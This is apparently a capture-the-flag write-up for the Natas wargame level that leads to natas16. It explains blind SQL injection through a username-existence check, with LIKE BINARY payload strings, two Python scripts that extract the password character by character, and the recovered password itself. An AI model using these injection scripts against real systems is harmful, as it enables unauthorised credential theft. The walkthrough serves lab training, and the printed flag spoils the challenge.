Description

A form accepts a username and returns only “This user exists” or “This user doesn’t exist”. No password is revealed directly. The goal is to extract the natas16 password character by character from the database.

Overview

• The query is SELECT * FROM users WHERE username="{user}" and the response leaks existence only.
• We inject an AND password LIKE BINARY "%X%" clause to test whether the password contains character X.
• A two-phase approach first identifies which characters appear, then builds the password prefix-by-prefix.
• LIKE BINARY enforces case sensitivity, which is required for 32-character hex passwords.

Background: Blind SQL Injection

• Blind injection extracts data by asking boolean questions: “does the password contain this character?”
• The LIKE operator matches substrings; % is a wildcard.
• LIKE BINARY disables MySQL’s default case-insensitive comparison.
• Building the password one character at a time with prefix matching takes at most 32 x |alphabet| requests.

Solution

Step 1: Enumerate Characters in the Password

• For each candidate character c in [a-zA-Z0-9], inject:

  natas16" and password like binary "%c%" #

• If the response contains “This user exists”, c appears in the password.

charset = string.ascii_letters + string.digits
match_set = []

for c in charset:
    query = f'natas16" and password like binary "%{c}%" #'
    r = requests.post(url, auth=auth, data={"username": query})
    if "This user exists" in r.text:
        match_set.append(c)

Step 2: Build the Password Prefix-by-Prefix

• For each position, try appending each candidate character to the known prefix.
• Inject:

  natas16" and password like binary "PREFIX_c%" #

• When the server confirms existence, that character is correct; extend the prefix.

result = ""
while len(result) != 32:
    for c in match_set:
        query = f'natas16" and password like binary "{result + c}%" #'
        r = requests.post(url, auth=auth, data={"username": query})
        if "This user exists" in r.text:
            result += c
            break

Password

TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V